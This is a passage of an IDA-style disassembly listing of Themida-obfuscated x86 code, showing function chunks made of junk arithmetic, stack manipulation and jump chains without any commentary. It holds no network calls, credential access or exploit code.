		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebp
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_599CDC
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------


loc_5AD93A:				; DATA XREF: Themida_:005978B4o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_5A8DE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5AD949:				; CODE XREF: sub_59D7E7+90F0j
		mov	esp, [esp-4+arg_0]
		mul	cl
		movzx	cx, ah
		push	small 3F62h
		mov	[esp+0], cx
		jmp	loc_59D931
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5AD95F:				; CODE XREF: sub_599721+8BF3j
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		jmp	loc_59F033
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E1B6


loc_5AD970:				; CODE XREF: sub_59E1B6+Bj
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59BC9E
; END OF FUNCTION CHUNK	FOR sub_59E1B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AD97E:				; CODE XREF: Themida_:005A5D7Dj
					; sub_5AC95F-5DFj ...
		add	[esp+10h+var_C], ecx
		pop	ecx
		pop	ecx
		push	edx
		mov	edx, 7AAD5C87h
		xor	edx, 2E1D3415h
		jmp	loc_5A4726
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EC11


loc_5AD995:				; CODE XREF: sub_59EC11-536Bj
		xor	ecx, 0D2E09358h
		sub	ebp, ecx
		jmp	loc_5A37FB
; END OF FUNCTION CHUNK	FOR sub_59EC11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5AD9A2:				; CODE XREF: sub_5A141E+BFFEj
		sub	ebx, 0FFFFFFFFh
		jmp	loc_597D13
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AD9AA:				; CODE XREF: sub_5A7343+7580j
		jnp	loc_59CEBC
		shr	esi, 6
		jmp	loc_59D5C7
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_5AD9B8:				; CODE XREF: Themida_:005A1CE2j
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5AB302

; =============== S U B	R O U T	I N E =======================================



sub_5AD9CC	proc near		; CODE XREF: sub_59FFBE+C564j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005994A8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059EEB2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A62C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A818C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A90EE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AAAC3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AD405 SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	edi
		mov	edi, 4
		add	[esp+8+var_4], edi
		pop	edi
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 25856859h
		shr	eax, 3
		add	eax, 5063564Bh
		and	eax, 57090C6Fh
		jmp	loc_5AAAC3
sub_5AD9CC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5AD9FC:				; CODE XREF: Themida_:0059CB1Fj
					; sub_5A1340+8j
		add	bl, 0CDh
		add	al, bl
		pop	ebx
		jmp	loc_599ECF
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5ADA07:				; CODE XREF: sub_5A1B2A+219Aj
					; sub_5A600F+267Cj
		add	esp, 4
		pop	esi
		push	3A29h
		mov	[esp-6+arg_0+2], ecx
		mov	ecx, 4
		sub	edx, 1B5A2FF9h
		jmp	loc_59F939
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5ADA23:				; CODE XREF: sub_599059-CDBj
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		sub	edx, 370C3F9Ah
		add	edx, eax
		add	edx, 370C3F9Ah
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		jmp	sub_59F4CE
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5ADA47:				; CODE XREF: sub_5ACD64-87CAj
		push	[esp+arg_0]
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A90B6
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5ADA59:				; CODE XREF: sub_5A1B2A-4279j
		pop	edx
		add	eax, esi
		jmp	loc_5A4958
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5ADA61:				; CODE XREF: sub_59EE40-D8Dj
		sub	cl, 0C5h
		mov	dh, cl
		pop	ecx
		jmp	loc_598D3C
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ADA6C:				; CODE XREF: sub_59B707-1D9Bj
		pop	edx
		push	11A1h
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	esi
		jmp	loc_5AB469
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5ADA7D:				; CODE XREF: sub_59CA4A-11D2j
		and	edi, 66A51C55h
		jbe	loc_5A5CE2
		sub	edi, 668517E0h
		jmp	loc_599F7B
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5ADA94:				; CODE XREF: Themida_:0059BD15j
		pop	edx
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		sub	esi, 180A4723h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A78AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59852D


loc_5ADAB7:				; CODE XREF: sub_59852D+B3ACj
		pop	ebp
		push	ebx
		mov	ebx, 2D2664B4h
		sub	ebx, 37063031h
		add	ebx, 4CC43A2Eh
		add	ebx, 0BD1B9153h
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	sub_5981F9
; END OF FUNCTION CHUNK	FOR sub_59852D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_5ADAEC:				; CODE XREF: sub_59BD3A+27DEj
		push	ecx
		jmp	loc_59D670
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5ADAF2:				; CODE XREF: sub_5ACD64+207Dj
		add	eax, 4
		jmp	loc_5A2C0D
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB601


loc_5ADAFC:				; CODE XREF: sub_5AB601-76C4j
		push	ecx
		mov	cx, 6445h
		mov	ax, cx
		pop	ecx
		and	ax, 6FACh
		ja	loc_5AB724
		shr	ax, 6
		jmp	loc_5A9FCD
; END OF FUNCTION CHUNK	FOR sub_5AB601
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 44630C10h


loc_5ADB1E:				; CODE XREF: Themida_:0059B6FCj
		neg	edi
		shr	edi, 5
		shr	edi, 3
		sub	edi, 0D871E0F9h
		add	ecx, edi
		pop	edi
		add	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		jmp	loc_5AA104

; =============== S U B	R O U T	I N E =======================================



sub_5ADB3A	proc near		; CODE XREF: sub_59C53B+82F1j
					; sub_5AC95F-AA0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059FD8F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6F2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7C7B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A84C2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A8B16 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AB6E7 SIZE 00000026 BYTES

		sub	esp, 4
		jmp	loc_5A8B16
sub_5ADB3A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5ADB45:				; CODE XREF: sub_597F0C+1498Aj
		mov	cl, 8Bh
		sub	cl, 10h
		dec	cl
		jmp	loc_5AE203
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5ADB51:				; CODE XREF: sub_5A95E0+7j
		mov	ebp, 4
		add	[esp+8+var_4], ebp
		pop	ebp
		pop	ebp
		push	ecx
		mov	ecx, 3A306897h
		shl	ecx, 1
		xchg	ebx, ecx
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		xchg	ebx, ecx
		push	0EEFh
		mov	[esp+8+var_8], edi
		mov	edi, 7A5B647Ch
		xchg	eax, edi
		neg	eax
		xchg	eax, edi
		add	edi, 6608460Eh
		or	edi, 215D3AA8h
		add	edi, 0E9209F2h
		add	edi, 4D7D3E3Bh
		or	ecx, edi
		pop	edi
		and	ecx, 20C84D72h
		and	ecx, 18FB1304h
		add	ecx, 0FF77FF04h
		add	ebp, ecx
		jmp	loc_5989B2
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5ADBB1:				; CODE XREF: sub_59D7E7-341Aj
		add	esp, 4
		push	5D7Ah
		mov	[esp+0], eax
		jmp	loc_59E24A
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------


loc_5ADBC4:				; CODE XREF: Themida_:005A3C83j
		pop	edi
		push	edi
		mov	edi, 2
		add	ebp, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5ADBF2:				; CODE XREF: Themida_:005A1443j
		mov	ebp, 1DA03118h
		add	ebp, 3C4B4462h
		sub	esp, 4
		jmp	loc_5A85FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5ADC08:				; CODE XREF: sub_59D99C+31A9j
		add	esi, eax
		pop	eax
		sub	esi, 87340A03h
		mov	ebp, esi
		pop	esi
		jmp	sub_599D5B
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5ADC19:				; CODE XREF: sub_59D24A+79D4j
		mov	edi, 64A12A36h
		inc	edi
		shl	edi, 3
		and	edi, 59F96104h
		sub	edi, 6CE154B0h
		xor	edi, 5CDF1664h
		xor	edi, 0C8F8FA30h
		add	esi, edi
		jmp	loc_5A2AB5
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5ADC41:				; CODE XREF: sub_5A8D43-E302j
		mov	dl, 0C5h
		push	ebx
		mov	bl, 54h
		not	bl
		neg	bl
		sub	bl, 93h
		and	dl, bl
		mov	ebx, [esp+22h+var_22]
		add	esp, 4
		shl	dl, 7
		push	edx
		not	byte ptr [esp+22h+var_22]
		pop	edx
		add	dl, 1
		xor	dl, 7Ch
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 0A9h
		add	bl, al
		add	bl, 0A9h
		push	ecx
		mov	ch, 7Ch
		sub	bl, ch
		jmp	loc_5AC148
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB601


loc_5ADC7D:				; CODE XREF: sub_5AB601-4BC7j
		push	small 19B6h
		mov	[esp+4+var_4], ax
		mov	ax, 2
		push	dx
		mov	dx, 3773h
		sub	[esp+6+var_2], 18E4h
		add	[esp+6+var_2], dx
		add	[esp+6+var_2], 18E4h
		pop	dx
		jmp	loc_5A6586
; END OF FUNCTION CHUNK	FOR sub_5AB601
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_5ADCA9:				; CODE XREF: sub_59EE57-2D97j
		push	small 7A8Ch
		mov	word ptr [esp+2+var_4+2], dx
		mov	dh, 21h
		jmp	loc_5A15A5
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------


loc_5ADCB8:				; CODE XREF: Themida_:00598AC4j
		push	ebp
		push	dword ptr [esp]
		jmp	loc_598A73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ADCC1:				; CODE XREF: sub_5AC95F-C700j
		xor	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		push	7F63h
		mov	[esp+4+var_4], edi
		mov	edi, 2
		add	ecx, edi
		mov	edi, [esp+4+var_4]
		jmp	loc_5AB10F
; END OF FUNCTION CHUNK	FOR sub_5AC95F

; =============== S U B	R O U T	I N E =======================================



sub_5ADCDE	proc near		; CODE XREF: sub_5AD830-4C55j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A0DDD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A479C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A66BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA373 SIZE 00000023 BYTES

		push	ebp
		mov	ebp, 477636A2h
		add	ecx, ebp
		pop	ebp
		add	ecx, ebp
		sub	ecx, 477636A2h
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp+4+var_4]
		jmp	loc_5AA373
sub_5ADCDE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5ADCFE:				; CODE XREF: sub_59D99C+1597j
		sub	[esp+8+var_8], edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		xor	edi, 2880A9C1h
		xor	edx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	sub_59F5C0
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ADD1D:				; CODE XREF: sub_59B707+B578j
		jmp	loc_5AD77A
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5ADD22:				; CODE XREF: Themida_:005ACCD9j
		mov	[esp], ebp
		mov	ebp, 7F5C5D92h
		dec	ebp
		not	ebp
		and	ebp, 4A8A3485h
		push	eax
		jmp	loc_5A1052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5ADD39:				; CODE XREF: sub_59B923-3172j
		not	ecx
		xchg	ecx, [esp+0]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	522Ch
		mov	[esp-4+arg_0], ecx
		push	esp
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 398A0B0Eh
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	edi
		mov	edi, 9810278h
		and	ebp, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A5859
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5ADD96:				; CODE XREF: sub_5A8D43-1F57j
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		add	esp, 4
		push	dword ptr [esp+0]
		jmp	loc_5AA3BA
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5ADDA5:				; CODE XREF: sub_59D99C+6F4Fj
		shr	ecx, 4
		jnp	loc_59D191
		push	ecx
		push	esi
		jmp	loc_5A99AD
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		add	ebx, 4
		push	esi


loc_5ADDBC:				; CODE XREF: Themida_:loc_59C122j
		and	cl, 0A5h
		jz	loc_59841E
		inc	cl
		jmp	loc_59C8E6

; =============== S U B	R O U T	I N E =======================================



sub_5ADDCC	proc near		; CODE XREF: sub_5A28BE:loc_59E4B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005983D0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B5F8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D610 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059FC59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A87FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9969 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AC408 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005ACEB2 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 0BBF0B1A4h
		add	esi, 306155C9h
		add	esi, ebp
		sub	esi, 306155C9h
		pop	ebp
		mov	ebp, esi
		pop	esi
		mov	esi, 32AE6DA7h
		xor	esi, ebp
		pop	ebp
		sub	eax, 59A367FFh
		add	eax, esi
		jmp	loc_5ACEB2
sub_5ADDCC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5ADDF8	proc near		; CODE XREF: sub_5A1340+5FDAj

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059994A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A53C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AA39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059D2BE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059DD7C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059DE05 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E723 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1509 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1A1E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1BE0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A21ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2271 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A288D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A700C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9FE0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AC010 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AEBFB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AF061 SIZE 0000000B BYTES

		push	ebp
		push	ebx
		mov	ebx, esp
		push	edi
		push	eax
		push	51134764h
		pop	eax
		jmp	loc_5AEBFB
sub_5ADDF8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5ADE09:				; CODE XREF: sub_5A141E+1FE3j
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5ADE12:				; CODE XREF: sub_5A28BE-176Fj
		push	edx
		push	210E5E96h
		pop	edx
		and	edx, 452F3D55h
		push	ebx
		mov	ebx, 16F95089h
		jmp	loc_59F95F
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB23


loc_5ADE2A:				; CODE XREF: sub_5ABB23-2C74j
		sub	ebx, 3E054FE7h
		shl	ebx, 5
		shl	ebx, 8
		jmp	loc_5A0DBB
; END OF FUNCTION CHUNK	FOR sub_5ABB23

; =============== S U B	R O U T	I N E =======================================



sub_5ADE3B	proc near		; CODE XREF: sub_59F2C8-47EAj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597EEA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00599D69 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B600 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D255 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1E68 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A44DA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4D1E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A84D5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A86F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A9FFF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD043 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD75C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE76B SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	eax
		push	ecx
		push	ebx
		mov	bl, 0F6h
		xor	bl, 0A2h
		shr	bl, 4
		jnz	loc_5AD75C
		xor	bl, 7
		mov	ch, bl
		jmp	sub_59B48F
sub_5ADE3B	endp

; ---------------------------------------------------------------------------
		sub	[esp], ebp
		pop	ebp
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5ADE64	proc near		; CODE XREF: sub_59ED64+5j
					; sub_5AB3DC-7FAAj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A0115 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AED99 SIZE 0000003F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	edx
		mov	edx, 4
		jmp	loc_5AED99
sub_5ADE64	endp

; ---------------------------------------------------------------------------


loc_5ADE78:				; CODE XREF: Themida_:005AE914j
		mov	dl, 0BCh
		inc	dl
		neg	dl
		or	dl, 59h
		push	bx
		jmp	loc_59D29E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ADE88:				; CODE XREF: sub_59B707+2C38j
					; Themida_:005A7474j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1C1D


loc_5ADE8D:				; CODE XREF: sub_5A1C1D+5D4Bj
		dec	ebx
		push	esi
		mov	esi, 89D50575h
		add	ebx, esi
		pop	esi
		add	eax, ebx
		pop	ebx
		push	ebx
		push	ebp
		mov	ebp, 0D5034ADh
		add	ebp, 0F2AFCB55h
		mov	ebx, ebp
		pop	ebp
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_5AAB37
; END OF FUNCTION CHUNK	FOR sub_5A1C1D
; ---------------------------------------------------------------------------


loc_5ADEB4:				; CODE XREF: Themida_:0059FEB6j
		pop	ecx
		jmp	loc_598B83
; ---------------------------------------------------------------------------


loc_5ADEBA:				; CODE XREF: Themida_:005AC8A3j
		push	dword ptr [esp]
		pop	eax
		push	1D83h
		mov	[esp], ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5A9C2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5ADEDA:				; CODE XREF: sub_5A8D43-580Bj
		push	eax
		mov	eax, 0E2B56ECh
		inc	eax
		xor	eax, 0E2B56E9h
		add	ebp, eax
		jmp	loc_5A3DD1
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5ADEED:				; CODE XREF: sub_5A8C33-29CEj
		push	edx
		mov	edx, eax
		mov	ebx, edx
		pop	edx
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		xor	esi, ebx
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_59C604
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ADF0D:				; CODE XREF: sub_5AC95F-121C4j
					; sub_5ADE3B-995Cj
		sub	dh, 2
		jmp	loc_5A92C7
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5ADF15:				; CODE XREF: sub_5ABE52-12B33j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+10h+var_10]
		jmp	loc_59EA48
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------


loc_5ADF27:				; CODE XREF: Themida_:0059B6E9j
		add	esp, 4
		jmp	loc_59D0CF
; ---------------------------------------------------------------------------


loc_5ADF32:				; CODE XREF: Themida_:005A21CCj
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A8C14
; ---------------------------------------------------------------------------


loc_5ADF40:				; CODE XREF: Themida_:005AD01Aj
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_59C528
		push	ebp
		jmp	loc_59B6C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ADF51:				; CODE XREF: sub_5AC95F-C1DAj
		mov	edx, 6F8C25C8h
		mov	ebx, edx
		jmp	loc_5A5D46
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5ADF5D:				; CODE XREF: sub_5A1B2A-26FAj
		mov	edx, 4
		jmp	sub_59C342
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5ADF67:				; CODE XREF: Themida_:00597BE3j
		sub	ebx, 2
		jmp	loc_5A6435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ADF72:				; CODE XREF: sub_5AC95F-3A75j
		push	2957h
		jmp	loc_59F3CE
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5ADF7C:				; CODE XREF: sub_59ACEC+D764j
		jge	loc_5A47E6
		shl	ebx, 7
		jp	loc_5AB7EC
		sub	ch, 6Dh
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; START	OF FUNCTION CHUNK FOR sub_5A393F


loc_5ADF8E:				; CODE XREF: sub_5A393F-3515j
		xchg	edx, [esp-4+arg_0]
		pop	esp
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, esi
		jmp	loc_5AD478
; END OF FUNCTION CHUNK	FOR sub_5A393F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5ADFA4:				; CODE XREF: sub_5AB3DC+3ADFj
		sub	ebx, 3C0409D3h
		pop	edi
		add	ebx, 5C2D46C5h
		sub	ebx, 981AA1CAh
		jmp	loc_5996C8
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_5ADFBC:				; CODE XREF: Themida_:005A01CDj
		add	ebx, 6B6D0493h
		jmp	loc_5A8433
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5ADFC7:				; CODE XREF: sub_5ACD64-11C92j
					; sub_5A384B+6j
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_59982F
; END OF FUNCTION CHUNK	FOR sub_5ACD64

; =============== S U B	R O U T	I N E =======================================



sub_5ADFE3	proc near		; CODE XREF: sub_5A8108+9E2j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059C268 SIZE 00000011 BYTES

		push	ebx
		sub	[esp+4+var_4], 2D256F03h
		pop	dword ptr [eax]
		add	dword ptr [eax], 2D256F03h
		mov	ebx, [esp+0]
		jmp	loc_59C268
sub_5ADFE3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5ADFFB:				; CODE XREF: sub_59CFBF+1Bj
		mov	edi, ebp
		pop	ebp
		jmp	loc_597BD0
; END OF FUNCTION CHUNK	FOR sub_59CFBF
